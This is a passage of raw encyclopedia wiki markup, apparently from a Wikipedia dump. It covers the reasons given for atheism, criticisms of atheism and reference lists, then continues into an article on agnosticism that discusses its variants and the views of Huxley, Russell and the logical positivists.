[[Confucianism]] and [[Taoism]] are arguably atheistic in the sense that they do not explicitly affirm, nor are they founded upon a faith in, a higher being or beings. However, Confucian writings do have numerous references to 'Heaven,' which denotes a transcendent power, with a personal connotation. Neo-Confucian writings, such as that of [[Chu Hsi]], are vague on whether their conception of the Great Ultimate is like a personal deity or not. Also, although the Western translation of the [[Tao]] as 'god' in some editions of the [[Tao te Ching]] is highly misleading, it is still a matter of debate whether the actual descriptions of the [[Tao]] by [[Lao Zi]] has theistic or atheistic undertones.

==Reasons for atheism==
Although not all atheists claim to have a rational justification for their stance, a majority of explicit atheists do assert that their stance has a rational basis, and there are some especially common reasons given by them.

===Philosophical reasons===
A majority of explicit atheists base their stance on rational or philosophical grounds, arguing that their position is based on logical analysis, and subsequent rejection, of theistic claims. These [[existence of God#Arguments_against_the_existence_of_God|arguments against the existence of deities]] consist of a number of different problems with theism. Chief among these problems is a perceived lack of evidence supporting theistic claims.

&lt;blockquote&gt;&quot;Within the framework of [[scientific]] [[rationalism]] one arrives at the belief in the nonexistence of God, not because of certain knowledge, but because of a sliding scale of methods. At one extreme, we can confidently rebut the personal Gods of creationists on firm [[empirical]] grounds: science is sufficient to conclude beyond reasonable doubt that there never was a worldwide flood and that the evolutionary sequence of the Cosmos does not follow either of the two versions of Genesis. The more we move toward a deistic and fuzzily defined God, however, the more scientific rationalism reaches into its toolbox and shifts from empirical science to [[logical]] philosophy informed by science. Ultimately, the most convincing arguments against a deistic God are [[Hume's dictum]] and [[Occam's razor]]. These are philosophical arguments, but they also constitute the bedrock of all of science, and cannot therefore be dismissed as non-scientific. The reason we put our trust in these two principles is because their application in the empirical sciences has led to such spectacular successes throughout the last three centuries.&quot; [http://psy.ucsd.edu/~eebbesen/Psych110/SciRelig.htm]&lt;/blockquote&gt;

Many atheists hold that as their view is merely the absence of a certain belief, the only defense that atheism needs is a good offense. If theism's arguments are refuted, nontheism, as the only alternative, becomes the default position. As such, many atheists have argued against the most famous &quot;proofs&quot; of God's existence for centuries. Whether all of the theistic arguments have been refuted is a matter in dispute.

&lt;blockquote&gt;&quot;Throughout the centuries, theistic philosophers have offered logical arguments in support of God's existence. Most of these can be divided into four major classes - ontological, cosmological, teleological, and moral&quot; [http://www.ebonmusings.org/atheism/] &lt;/blockquote&gt;
In general, atheists contend that these have been refuted.

There are also many atheists who attack specific forms of theism as being self-contradictory. One of the most common arguments against the existence of a specific God is the [[problem of evil]].

&lt;blockquote&gt;&quot;The problem of evil is probably the most enduring and the most potent argument atheism has to offer against many varieties of theism. Christian apologist [[William Lane Craig]] aptly styled it ''atheism's killer argument''. In brief, it seeks to establish that the existence of evil in the world is logically incompatible with the existence of a benevolent God, and that it is more reasonable to conclude that God does not exist than that he does exist but does nothing to stop evil.&quot; [http://www.ebonmusings.org/atheism/allpossibleworlds.html]&lt;/blockquote&gt;

Other well-known positive arguments include [[theological noncognitivism]], [[incoherency argument]]s (which seek to prove contradictions within the nature of &quot;god&quot;), atheistic teleological arguments, and the [[Transcendental argument for the non-existence of God]].

===Personal and social reasons===
As well as atheists with philosophical reasons, there are explicit atheists who cite social, psychological, practical, and other reasons for their beliefs.

Some people hold atheistic beliefs on the grounds that it is conducive towards living a better life, such as the belief that atheism is more ethical or useful than theism. Such atheists may hold that searching for explanations through natural science is more beneficial than doing it through faith.

Moral reasons for atheism include &quot;cases where the requirement to do what is right favors being an atheist, or at the very least, not supporting certain sects or practices of theism.'''...''' Those who cannot accept the notion of an evil god must conclude that any immoral religion is necessarily false.&quot; Practical reasons for atheism include &quot;reasons why accepting atheism over theism produces positive overall effects on a person's life.&quot; [http://www.ebonmusings.org/atheism/necessityofatheism.html]

Arguments that theism promotes immorality often center around the contention that a great deal of violence, including [[war]], has been brought about by religious beliefs and practices.

Some people are atheists at least partly because of growing up in an environment where atheism is relatively common, such as being raised by atheist parents.
&lt;blockquote&gt;&quot;Many people are atheists not because they've reasoned things out like that, but because of the way they were brought up or educated, or because they have simply adopted the beliefs of the culture in which they grew up.&quot; [http://www.bbc.co.uk/religion/religions/atheism/reasons/index.shtml BBC].&lt;/blockquote&gt;
Most atheists contend that the same is true for many believers. For instance, most of the population in predominantly Jewish, Muslim, or Christian countries follow the religion that is more prevalent without much questioning. &lt;!-- Cyclic logic. &quot;More people believe in Christianity in places where more people believe in Christianity.&quot; --&gt;

Christian psychologist Paul Vitz (1999) argues that, &quot;Many people have psychological reasons for atheism&quot; [http://www.columbia.edu/cu/augustine/arch/frear/vitz.htm] and &quot;neurotic psychological barriers to belief in God are of great importance&quot; [http://www.origins.org/articles/vitz_psychologyofatheism.html]. See Vitz (1999) and, for a similar view, Rizzuto (1998). 

While it is common to point out the psychological reasons for not being an atheist, it is important to note that emotion and &quot;feelings&quot; play an important role for many people, not just theists. However, an understanding of the psychological origins for belief in a god may contribute to some atheists' lack of religious belief; see [[true believer syndrome]] and [[psychology of religion]].

===Historical reasons===
Without even taking into account scientific research, some atheists have come to the conclusion that the existence of one or more gods can be dismissed due to historical reasons. Looking at very old civilizations such as [[Ancient Greece]] and [[Ancient Rome]], people believed in multiple gods, linking each of them to an unexplained physical reality, such as [[Hades]] the god of the dead, [[Helios]] the god of the sun, [[Zeus]] the god of thunder and [[Poseidon]] the god of earthquakes. These people could not explain a phenomenon using a [[scientific theory]] and thus invented a god to explain it, from fear of the unexplained.

In our current times, all of these things, except one, have been explained scientifically. There are no significant group of people believing earthquakes are the direct action of a god shaking the [[Earth]]. The only item from the original gods that is still a near complete mystery is death, and as such only one god remains in most modern religions, and looking at the various religions, death (along with afterlife) is usually a central topic.

Looking at [[Historical persecution by Christians|historical records]], one can also see how the fears that people have of unexplained phenomenons have been used by various religious leaders both to persecute other religions, and to gain more believers. It seems likely to some atheists, that if the result of death could someday be explained beyond a reasonable doubt by science, the last god would no longer be worshiped by a majority of people, just as was the case for every previous mythical god.

==Criticisms of atheism==
{{main|Criticism of Atheism}}
Atheists and atheism have received much criticism and opposition, chiefly from theistic sources, throughout human history. Opponents of atheism have frequently associated atheism with immorality and evil, often characterizing it as a willful and malicious rejection of gods. This, in fact, is the original definition and sense of the word, but changing sensibilities and the normalization of nonreligious viewpoints have caused the term to lose its negative connotations, at least in secular cultures.

The most direct arguments against atheism are those in favor of the existence of deities, which would imply that atheism is simply untrue. For examples of this type of argument, see [[Existence of God#Arguments for the existence of God|Existence of God]]. 

Many common criticisms of atheism are rooted in a misunderstanding of what it is, or an incorrect assumption that all atheists are &quot;strong&quot; atheists who assert that there is no such thing as God anywhere in the universe. [[Ray Comfort]] exhibits this fallacy in &quot;The Atheist Test&quot; [http://ecclesia.org/truth/atheist.html]: ''&quot;To say 'There is no God,' and to be correct in the statement, I must be omniscient. I must know how many hairs are upon every head, every thought of every human heart, every detail of history, every atom within every rock...nothing is hidden from my eyes...I know the intimate details of the secret love-life of the fleas on the back of the black cat of Napoleon's great-grandmother. To make the absolute statement 'There is no God.' I must have absolute knowledge that there isn't one.&quot;&quot;

Other criticisms of atheism are based in conceptions that it leads to poor morals or ethics, that it is impossible for a person to truly have faith in nothing, or that lack of belief in a god is as much (or more) a leap of faith than belief in a god. These criticisms have been answered to the satisfaction of many atheists. [http://www.infidels.org/news/atheism/intro.html]

==See also==
* [[List of atheists]]
* [[Strong atheism]]
* [[Weak atheism]]

===Related concepts===
* [[Brights]]
* [[Criticism of Religion]]
* [[Existence of God]], [[Pascal's Wager]]
* [[Faith and rationality]], [[Religiousness and intelligence]]
* [[Freethinking]]
* [[Irreligion]]
* [[Nihilism]]
* [[Objectivism]]
* [[Pantheism]]
* [[Rationalism]]
* [[Religious freedom]] - freedom of religion ''and'' belief
* [[Scientific skepticism]]
* [[Secular Humanism]]
* [[Secularism]]

===Organizations===
* [[Camp Quest]]
* [[American Atheists]]
* [[Atheist Foundation of Australia]]
* [[Freedom From Religion Foundation]]
* [[Rationalist International]]
* [[Internet Infidels]]
* [[Fellowship of Reason]]
* [[Society of the Godless]]

===Satire===
* [[Apatheism]]
* [[Evil Atheist Conspiracy]]
* [[Flying Spaghetti Monster]]
* [[Invisible Pink Unicorn]]

==External links==
{{wikiquote}}

=== Web sites ===
* Associations
**[http://www.atheistalliance.org/ Atheist Alliance International]
**[http://www.atheists.org/ American Atheists]
**[http://www.ffrf.org/ Freedom From Religion Foundation]
**[http://www.atheistfoundation.org.au/ Atheist Foundation of Australia]
**[http://www.secularism.org.uk/ The National Secular Society (UK)]
**[http://www.the-brights.net/ The Brights]
**[http://idahoatheists.org/ Idaho Atheists]
* Web communities
**[http://www.frostcloud.com/forum/forumdisplay.php?f=9 FrostCloud.com] Discuss atheism.
**[http://www.atheistparents.org/ Atheist Parents Group]
**[http://www.booktalk.org BookTalk.org - the freethinker's book discussion community]
**[http://www.churchofreality.org/wisdom/ Church of Reality]
**[http://www.nobeliefs.com/ Freethinkers (NoBeliefs.com)]
**[http://www.positiveatheism.org/ Positive Atheism]
**[http://www.infidels.org/ The Secular Web]
**[http://www.atheistcoalition.com/ The Atheist Coalition]
**[http://www.faithless.org/ The Faithless Community]
**[http://groups.yahoo.com/group/eudaimonistseuphoria/ Eudaimonist's Euphoria]
* Internet radios
**[http://www.atheistnetwork.com/ Atheist Network (Internet Radio)]
**[http://www.infidelguy.com/index.php The Infidel Guy Radio Show]
**[http://www.freethoughtradio.com Freethought Radio] - Internet Radio Station
* Miscellaneous
**{{About.com|topic=Atheism}}
**[http://www.ebonmusings.org/atheism Ebon Musings: The Atheism Pages]
**[http://www.exchristian.net/ ExChristian.net &amp;mdash; Encouraging Ex-Christians]
**[http://www.godlessgeeks.com/LINKS/Debate.html Links related to atheism] by [[Atheists of Silicon Valley]]
**[http://www.cybamall.com/america/ Political and Atheist Thought]
**[http://www.camp-quest.com/ Camp Quest: A Secular Summer Camp for Children]
**[http://www.atheists.net/ Darwin Bedford, Atheist Messiah and Spiritual Reality Therapist]
**[http://www.religioustolerance.org/atheist.htm religioustolerance.org]
**http://www.qsmithwmu.com (Web site of [[Quentin Smith]], atheist philosopher)
**http://www.abstractatom.com (Web site of [[Jeffrey Grupp]], atheist philosopher)

=== Articles ===
* History of
**[http://www.rationalrevolution.net/articles/religious_criticism.htm A Historical Outline of Modern Religious Criticism in Western Civilization] - History of atheistic thought going back to the 1500s
* Definitions
**[http://reference.allrefer.com/encyclopedia/A/atheism.html AllRefer atheism article] - brief discussion of polemical usage
**[http://plato.stanford.edu/entries/atheism-agnosticism/ &quot;Atheism and Agnosticism&quot;] by [[John Smart]] for [[Stanford Encyclopedia of Philosophy]]
**[http://www.atheistfoundation.org.au/aboutus.htm &quot;Definition of Atheism&quot;] from Atheist Foundation of Australia Inc
**[http://uberkuh.com/node/341 &quot;Types of Atheistic Belief&quot;]
**[http://www.positiveatheism.org/faq/faq1111.htm#WHATISPOSATH &quot;What Is Atheism?&quot;] from Positive Atheism Magazine
* Defence
**[http://www.samharris.org The End of Faith] by [[Sam Harris (author)|Sam Harris]]
**[http://kenneth.moyle.com/aa/atheism1.htm Atheism defended]
**[http://atheisme.free.fr/Atheism.htm Atheism: The Capital Man]
**[http://www.marxists.org/archive/marx/works/1843/critique-hpr/intro.htm Introduction to A Contribution to the Critique of Hegel's Philosophy of Right] &amp;mdash; the source of the famous &quot;[religion is] the opiate of the masses&quot;, by [[Karl Marx]]
**[http://www.dlc.fi/~etkirja/LectureOnAtheism.htm Lecture on Atheism] by Erkki Hartikainen in The Finnish Society for Natural Philosophy, 2003
**[http://www.spunk.org/library/writers/goldman/sp001502.html The Philosophy of Atheism] by Emma Goldman (''[[Mother Earth (magazine)|Mother Earth]]'', 1916)
**[http://www.godlessgeeks.com/WhyAtheism.htm Why Atheism?]
**[http://www.truthdig.com/dig/item/200512_an_atheist_manifesto/ An Atheist Manifesto] by [[Sam Harris (author)|Sam Harris]]
* Criticism
**[http://www.newadvent.org/cathen/02040a.htm Catholic Encyclopedia: &quot;atheism&quot;]
**[http://www.christianitytoday.com/ct/2005/003/21.36.html The Twilight of Atheism] by [[Alister McGrath]], Christianity Today, March 2005.
**[http://www.leaderu.com/truth/3truth02.html Theism, Atheism, and Rationality] by [[Alvin Plantinga]]
**[http://www.origins.org/articles/plantinga_intellectualsophistication.html Intellectual Sophistication and Basic Belief in God] by Alvin Plantinga
*Statistics
**[http://www.pitzer.edu/academics/faculty/zuckerman/atheism.html Atheism: Contemporary Rates and Patterns] atheism worldwide, by Phil Zuckerman

==References==
*Altizer, Thomas J.J. (1967). ''The Gospel of Christian Atheism.'' London: Collins. [http://www.religion-online.org/showbook.asp?title=523 Electronic Text] 
*Armstrong, Karen (1999). ''A History of God.'' London: Vintage. ISBN 0099273675
*Ayer, A. J. (1966). ''What I Believe.'' '''in''' ''Humanist'', Vol 81 (8) August 1966, p.226-228.
*Baggini, Julian (2003). ''Atheism: A very short introduction.'' Oxford: Oxford University Press. ISBN 0192804243.
*Berman, David (1990). ''A History of Atheism in Britain: from Hobbes to Russell.'' London: Routledge. ISBN 0415047277.
*Berman, David (1983). ''David Hume and the Suppression of Atheism.'' '''in''' ''Journal of the History of Philosophy'', Vol. 21 (3), July 1983, p.375-387.
*Berman, David (1982). ''The Repressive Denials of Atheism in Britain in the Seventeenth and Eighteenth Centuries'' '''in''' ''Proceedings of the Royal Irish Academy'', Vol. 82c, (9), p.211-246.
*Borne, Étienne (1961). ''Atheism.'' New York: Hawthorn Books. [Originally published in France under the title ''Dieu n’est pas mort: essai sur l’atheisme contemporain.'' Librairie Arthème Fayard, 1959] 
*Bradlaugh Bonner, Hypatia (1908). ''Charles Bradlaugh: a record of his life and work.'' London: T. Fisher Unwin.
*Buckley, M. J. (1987). ''At the origins of modern atheism.'' New Haven, CT: Yale University Press.
*Cudworth, Ralph (1678). ''The True Intellectual System of the Universe: the first part, wherein all the reason and philosophy of atheism is confuted and its impossibility demonstrated''.
*d'Holbach, P. H. T. (1772). ''Good Sense.'' [http://www.gutenberg.org/etext/7319 Electronic Text]
*d'Holbach, P. H. T. (1770). ''The system of nature.'' Electronic versions: 
**[http://socserv2.socsci.mcmaster.ca/~econ/ugcm/3ll3/holbach/ ''complete text'' (pdf)]
**[http://homepages.ihug.co.nz/~freethought/holbach/system/0syscontents.htm ''complete text'' (html)]
*de Mornay, Phillipe (1587). ''A woorke concerning the Trewnesse of the Christian Religion, written in French; Against Atheists, Epicures, Paynims, Iewes, Mahumetists''. London. 
*Drachmann, A. B. (1922). ''Atheism in Pagan Antiquity''. Chicago: Ares Publishers, 1977 (&quot;an unchanged reprint of the 1922 edition&quot;). ISBN 0890052018.
*Everitt, Nicholas (2004). ''The Non-existence of God: An Introduction.'' London: Routledge. ISBN 0415301076.
*[http://news.nationalgeographic.com/news/2004/10/1018_041018_science_religion.html ''Evolution and Religion Can Coexist, Scientists Say'']
*Flew, Antony (1966). ''God and Philosophy.'' London: Hutchinson &amp; Co.
*Flew, Antony (1984a). ''God, Freedom, and Immortality: A Critical Analysis.'' Buffalo, NY: Prometheus. ISBN 0879751274.
*Flew, Antony (1984b). ''The Presumption of Atheism''. New York: Prometheus.
**[http://www.positiveatheism.org/writ/flew01.htm ''complete text'' (html)]
*Flew, Antony (1972). ''The Presumption of Atheism''. '''in''' ''Canadian Journal of Philosophy'', 2, p.29-46 [reprinted in Flew 1984a and 1984b above]
*Flint, Robert (1877). ''Anti-Theistic Theories: Being the Baird Lecture for 1877.'' London: William Blackwood and Sons. 5th ed, 1894.
*Gaskin, J.C.A. (ed) (1989). ''Varieties of Unbelief: from Epicurus to Sartre.'' New York: Macmillan. ISBN 002340681X.
*Harbour, Daniel (2001). ''An Intelligent Person's Guide to Atheism.'' London: Duckworth. ISBN 0715632299.
*Hitchens, Christopher (2001). ''[http://www.amazon.com/exec/obidos/tg/detail/-/0465030327 Letters to a Young Contrarian]''. New York: Basic Books.
*Krueger, D. E. (1998). ''What is atheism?: A short introduction.'' New York: Prometheus. ISBN 1573922145.
*Le Poidevin, R. (1996). ''Arguing for atheism: An introduction to the philosophy of religion.'' London: Routledge. ISBN 0415093384.
*Levin, S. (1995). ''Jewish Atheism.'' '''in''' ''New Humanist'', Vol 110 (2) May 1995, p.13-15.
*Lyas, Colin (1970). ''On the Coherence of Christian Atheism.'' '''in''' ''Philosophy: the Journal of the Royal Institute of Philosophy.'' Vol. 45 (171), January 1970. pp.1-19.
*Mackie, J. L. (1982). ''The Miracle of Theism: Arguments for and against the existence of God.'' Oxford: Oxford University Press. ISBN 019824682X.
*Maritain, Jacques (1953). ''The Range of Reason.'' London: Geoffrey Bles. [http://www.nd.edu/Departments/Maritain/etext/range.htm Electronic Text] 
**Note: Chapter 8, ''The Meaning of Contemporary Atheism'' (p.103-117, [http://www.nd.edu/Departments/Maritain/etext/range08.htm Electronic Text]) is reprinted from ''Review of Politics'', Vol. 11 (3) July 1949, p. 267-280 [http://www.nd.edu/Departments/Maritain/jm3303.htm Electronic Text]. A version also appears ''The Listener'', Vol. 43 No.1102, [[9 March]] [[1950]]. pp.427-429,432.
*Martin, Michael (1990). ''Atheism: A philosophical justification.'' Philadelphia, PA: Temple University Press. ISBN 0877229430.
*Martin, Michael, &amp; Monnier, R. (Eds.) (2003). ''The impossibility of God.'' New York: Prometheus.
*McGrath, A. (2005). ''The Twilight of Atheism : The Rise and Fall of Disbelief in the Modern World''. ISBN 0385500629
*McTaggart, John &amp; McTaggart, Ellis (1927). ''The Nature of Existence.'' Volume 2. Cambridge: Cambridge University Press.
*McTaggart, John &amp; McTaggart, Ellis (1930). ''Some Dogmas of Religion.'' London: Edward Arnold &amp; Co., new edition. [First published 1906]
*Mills, D. (2004). ''Atheist Universe'', Xlibris, ISBN 1413434819.
*Müller, F. Max (1889). ''Natural Religion: The Gifford Lectures, 1888.'' London: Longmans, Green and Co.
*Nagel, Ernest (1965). ''A Defence of Atheism.'' '''in''' Edwards, Paul and Pap, Arthur (eds), ''A Modern Introduction to Philosophy: readings from classical and contemporary sources.'' New York: Free Press. Rev ed. pp.460-472.
*Nielsen, Kai (1985). ''Philosophy and Atheism.'' New York: Prometheus. ISBN 0879752890.
*Nielsen, Kai (2001). ''Naturalism and religion.'' New York: Prometheus.
*Reid, J.P. (1967). ''Atheism.'' '''in''' ''New Catholic Encyclopedia''. New York: McGraw-Hill. p.1000-1003.
*Rizzuto, Ana-Maria (1998). ''Why did Freud reject God?: A psychoanalytic interpretation.'' Yale University Press. ISBN 0300075251.
*Robinson, Richard (1964). ''An Atheist's Values.'' Oxford: Clarendon Press.
*Sharpe, R.A. (1997). ''The Moral Case Against Religious Belief.'' London: SCM Press. ISBN 0334026806.
*Smith, George H. (1990). ''Atheism, Ayn Rand, and Other Heresies''. New York: Prometheus.
**[http://www.positiveatheism.org/writ/smithdef.htm Excerpt: ''Defining atheism'' (html)]
*Smith, George H. (1979). ''Atheism: The Case Against God''. Buffalo, New York: Prometheus. ISBN 087975124X.
**[http://www.positiveatheism.org/writ/smith.htm Excerpt: ''The Scope of Atheism'' (html)]
*Sobel, Jordan H. (2004). ''Logic and theism: Arguments for and against beliefs in God.'' Cambridge: Cambridge University Press.
*Stenger, Victor J. (2003). ''Has science found God?.'' New York: Prometheus. 
*Stein, G. (Ed.) (1984). ''The Encyclopaedia of Unbelief'' (Vols. 1-2). New York: Prometheus. ISBN 0879753072.
*Thrower, James (1971). ''A Short History of Western Atheism.'' London: Pemberton. ISBN 0301711011.
*Vitz, Paul (1999). ''Faith of the fatherless: the psychology of atheism.'' Dallas, Texas: Spence. ISBN 1890626120.

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  <page>
    <title>Agnosticism</title>
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        <username>El C</username>
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      <comment>Reverted edits by [[Special:Contributions/69.249.89.93|69.249.89.93]] ([[User talk:69.249.89.93|talk]]) to last version by The tooth</comment>
      <text xml:space="preserve">'''Agnosticism''' is the [[philosophy|philosophical]] view that the [[truth]]  or falsity of certain claims—particularly [[theology|theological]] claims regarding the existence of [[Monotheism|God]] or [[Polytheism|gods]]—is unknown, unknowable, or incoherent. Some agnostics infer from this that these claims are irrelevant to [[Meaning of life|life]]. 

The term and the related ''agnostic'' were coined by [[Thomas Henry Huxley]] in [[1869]], and are also used to describe those who are unconvinced or noncommittal about the existence of deities as well as other matters of [[religion]]. The word agnostic comes from the Greek ''a'' (without) and ''[[gnosis]]'' (knowledge).  Agnosticism, focusing on what can be known, is an [[epistemology|epistemological]] position (dealing with the nature and limits of human knowledge); while atheism and theism are [[ontology|ontological]] positions (a branch of metaphysics that deals with what types of entities exist).  Agnosticism is not to be confused with a view specifically opposing the doctrine of [[gnosis]] and [[Gnosticism]]&amp;mdash;these are religious concepts that are not generally related to agnosticism.

Agnosticism is distinct from [[strong atheism]] (also called ''positive atheism'' or ''dogmatic atheism''), which denies the existence of any deities. However, the more general variety of [[atheism]], [[weak atheism]] (also called ''negative atheism'', and sometimes ''neutral atheism''), professes only a lack of belief in a god or gods, which is not equivalent to but is compatible with agnosticism.  ''Critical atheism'' admits that a god or gods are meaningful concepts but the evidence for them is not in hand, so a default position of not believing in them must be taken in the interim.

Agnostics may claim that it isn't possible to have ''absolute'' or ''certain'' spiritual knowledge or, alternatively, that while certainty ''may'' be possible, they personally have no such knowledge. In both cases, agnosticism involves some form of [[philosophical scepticism|skepticism]] towards religious statements.  This is different from the simple [[irreligion]] of those who give no thought to the subject.

==Variations==
Agnosticism has suffered more than most expressions of philosophical position from terminological vagaries. Data collection services [http://adherents.com/Religions_By_Adherents.html#Nonreligious], [http://cia.gov/cia/publications/factbook/fields/2122.html] often display the common use of the term, distinct from strong atheism in its lack of disputing the existence of deities. Agnostics are listed alongside [[secularism|secular]], [[irreligion|non-religious]], or other such categories.

Other variations include:

* [[Strong agnosticism]] (also called hard agnosticism, closed agnosticism, strict agnosticism, absolute agnosticism)—the view that the question of the existence of deities is unknowable by nature or that human beings are ill-equipped to judge the evidence.
* [[Weak agnosticism]] (also called soft agnosticism, open agnosticism, empirical agnosticism, temporal agnosticism)—the view that the existence or nonexistence of God or gods is currently unknown but isn't necessarily unknowable, therefore one will withhold judgment until more evidence is available.
* [[Apathetic agnosticism]]—the view that there is no proof either of God's existence or nonexistence, but since God (if there is one) appears unconcerned for the universe or the welfare of its inhabitants, the question is largely academic.
* [[Ignosticism]]—the view that the concept of God as a being is meaningless because it has no verifiable consequences, therefore it cannot be usefully discussed as having existence or nonexistence. See [[scientific method]].
* Model agnosticism—the view that philosophical and metaphysical questions are not ultimately verifiable but that a model of malleable assumption should be built upon rational thought. This branch of agnosticism does not focus on a deity's existence.
* [[Agnostic theism]]—the view of those who do not claim to ''know'' God's existence, but still ''believe'' in his existence. (''See [[Epistemology#Knowledge_and_belief|Knowledge Vs Beliefs]]'') Whether this is truly agnosticism is disputed.  It may also imply the belief that although there is something that resembles (or would at least appear to us as) a god (or gods,) there remains doubt over their true nature, motives, or the validity of the claim to be 'God' rather than superior, supernatural being(s).
* [[Agnostic spiritualism]]—the view that there may or may not be a god (or gods,) while maintaining a general personal belief in a spiritual aspect of reality, particularly without distinct religious basis, or adherence to any established doctrine or dogma.
* [[Agnostic atheism]]—the view that God may or may not exist, but that his non-existence is more likely.  Some agnostic atheists would at least partially base their beliefs on [[Occam's Razor]].

==Some philosophical opinions==
Among the most famous agnostics (in the original sense) have been [[Robert G. Ingersoll]], [[Thomas Henry Huxley]], and [[Charles Darwin]]. Some have argued from the works of [[David Hume]], especially ''Dialogues Concerning Natural Religion'', that he was an agnostic, but this remains subject to debate. 

===Thomas Henry Huxley===
Agnostic views are as old as [[philosophical skepticism]], but the terms agnostic and agnosticism were created by Huxley to sum up his thoughts on contemporary developments of metaphysics about the &quot;unconditioned&quot; (Hamilton) and the &quot;unknowable&quot; ([[Herbert Spencer]]). It is important, therefore, to discover Huxley's own views on the matter. Though Huxley began to use the term &quot;agnostic&quot; in 1869, his opinions had taken shape some time before that date. In a letter of September 23, 1860, to Charles Kingsley, Huxley discussed his views extensively:

:I neither affirm nor deny the immortality of man. I see no reason for believing it, but, on the other hand, I have no means of disproving it. I have no ''[[a priori]]'' objections to the doctrine. No man who has to deal daily and hourly with nature can trouble himself about ''a priori'' difficulties. Give me such evidence as would justify me in believing in anything else, and I will believe that. Why should I not? It is not half so wonderful as the conservation of force or the indestructibility of matter. . . .

:It is no use to talk to me of analogies and probabilities. I know what I mean when I say I believe in the law of the inverse squares, and I will not rest my life and my hopes upon weaker convictions. . . .

:That my personality is the surest thing I know may be true. But the attempt to conceive what it is leads me into mere verbal subtleties. I have champed up all that chaff about the ego and the non-ego, noumena and phenomena, and all the rest of it, too often not to know that in attempting even to think of these questions, the human intellect flounders at once out of its depth.

And again, to the same correspondent, [[May 6]], [[1863]]:

:I have never had the least sympathy with the ''a priori'' reasons against [[orthodoxy]], and I have by nature and disposition the greatest possible antipathy to all the atheistic and [[infidel]] school. Nevertheless I know that I am, in spite of myself, exactly what the [[Christian]] would call, and, so far as I can see, is justified in calling, atheist and infidel. I cannot see one shadow or tittle of evidence that the great unknown underlying the phenomenon of the universe stands to us in the relation of a Father [who] loves us and cares for us as Christianity asserts. So with regard to the other great Christian dogmas, immortality of soul and future state of rewards and punishments, what possible objection can I&amp;mdash;who am compelled perforce to believe in the immortality of what we call Matter and Force, and in a very unmistakable present state of rewards and punishments for our deeds&amp;mdash;have to these doctrines? Give me a scintilla of evidence, and I am ready to jump at them.

Of the origin of the name agnostic to describe this attitude, Huxley gave (Coll. Ess. v. pp. 237-239) the following account:

:So I took thought, and invented what I conceived to be the appropriate title of &quot;agnostic.&quot; It came into my head as suggestively antithetic to the &quot;gnostic&quot; of Church history, who professed to know so much about the very things of which I was ignorant. To my great satisfaction the term took. 

Huxley's agnosticism is believed to be a natural consequence of the intellectual and philosophical conditions of the [[1860]]s, when clerical intolerance was trying to suppress scientific discoveries which appeared to clash with a literal reading of the [[Book of Genesis]] and other established [[Jewish]] and Christian doctrines. Agnosticism should not, however, be confused with [[natural theology]], [[deism]], [[pantheism]], or other science positive forms of [[theism]].

By way of clarification, Huxley states, &quot;In matters of the intellect, follow your reason as far as it will take you, without regard to any other consideration. And negatively: In matters of the intellect, do not pretend that conclusions are certain which are not demonstrated or demonstrable&quot; (Huxley, ''Agnosticism'', 1889). While A. W. Momerie has noted that this is nothing but a definition of [[honesty]], Huxley's usual definition goes beyond mere honesty to  insist that these metaphysical issues are fundamentally unknowable.

===Bertrand Russell===
[[Bertrand Russell]]'s [[pamphlet]], ''Why I Am Not a Christian,'' based on a speech delivered in 1927 and later included in a book of the same title,  is considered a classic statement of agnosticism. The essay briefly lays out Russell&amp;#8217;s objections to some of the [[arguments for the existence of God]] before discussing his moral objections to Christian teachings. He then calls upon his readers to &quot;stand on their own two feet and look fair and square at the world,&quot; with a &quot;fearless attitude and a free intelligence.&quot; 

In 1939, Russell gave a lecture on ''The existence and nature of God'', in which he characterised himself as an agnostic. He said:

:The existence and nature of God is a subject of which I can discuss only half. If one arrives at a negative conclusion concerning the first part of the question, the second part of the question does not arise; and my position, as you may have gathered, is a negative one on this matter. (Collected Papers, Vol 10, p.255) 

However, later in the same lecture, discussing modern non-anthropomorphic concepts of God, Russell states:

:That sort of God is, I think, not one that can actually be disproved, as I think the omnipotent and benevolent creator can. (p.258) 

In Russell's 1947 pamphlet, ''Am I An Atheist Or An Agnostic?'' (subtitled ''A Plea For Tolerance In The Face Of New Dogmas''), he ruminates on the problem of what to call himself:

:As a philosopher, if I were speaking to a purely philosophic audience I should say that I ought to describe myself as an Agnostic, because I do not think that there is a conclusive argument by which one prove that there is not a God.

:On the other hand, if I am to convey the right impression to the ordinary man in the street I think I ought to say that I am an Atheist, because when I say that I cannot prove that there is not a God, I ought to add equally that I cannot prove that there are not the Homeric gods.

In his 1953 essay, ''What Is An Agnostic?'' Russell states: 

:An agnostic thinks it impossible to know the truth in matters such as God and the future life with which Christianity and other religions are concerned. Or, if not impossible, at least impossible at the present time.   

However, later in the essay, Russell says:

:I think that if I heard a voice from the sky predicting all that was going to happen to me during the next twenty-four hours, including events that would have seemed highly improbable, and if all these events then produced to happen, I might perhaps be convinced at least of the existence of some superhuman intelligence.

He didn't say &quot;supreme&quot; or &quot;supernatural&quot; intelligence: these terms are metaphysically loaded.  

For Russell, then, agnosticism doesn't necessarily assert that it is ''in principle'' impossible to know whether or not there is a God. Moreover, &quot;An Agnostic may think the Christian God as improbable as the Olympians; in that case, he is, for practical purposes, at one with the atheists.&quot;

===Logical positivism===
[[logical positivism|Logical positivists]], such as [[Rudolph Carnap]] and [[A. J. Ayer]], are sometimes thought to be agnostic. Using arguments reminiscent of [[Wittgenstein]]&amp;#8217;s famous &quot;Whereof one cannot speak, thereof one must be silent,&quot; they viewed any talk of god(s) as literally [[nonsense]]. For the logical positivists and adherents of similar schools of thought, statements about religious or other transcendent experiences could not have a truth value and were deemed to be without meaning. But this includes all utterances about 
god(s), ''even'' those agnostic statements that deny knowledge of God(s) are possible. In ''Language, Truth and Logic'' Ayer explicitly rejects agnosticism on the grounds that an agnostic, despite claiming that knowledge of god(s) are not possible, nevertheless holds that statements about god(s) have meaning. This position, however, is valid only in the case of agnostics who define their agnosticism in this fashion. ''[[Ignosticism|Ignostics]]'' define agnosticism in a manner consistent with the logical positivist view, holding theism to be ''incoherent.''

==References==
* ''Collected Essays'', Thomas Huxley, ISBN 1855069229
* ''Man's Place In Nature'', Thomas Huxley, ISBN 037575847X
* ''Why I Am Not a Christian'', Bertrand Russell, ISBN 0671203231
* ''Dialogues Concerning Natural Religion'', David Hume, ISBN 0140445366
* ''Language, Truth, and Logic'', A.J. Ayer, ISBN 0486200108

==See also==
* [[List of agnostics]]
* [[Religious freedom]]

==External links==
{{wikiquote}}
* {{gutenberg author| id=R.+G.+Ingersoll | name=Robert G. Ingersoll}}
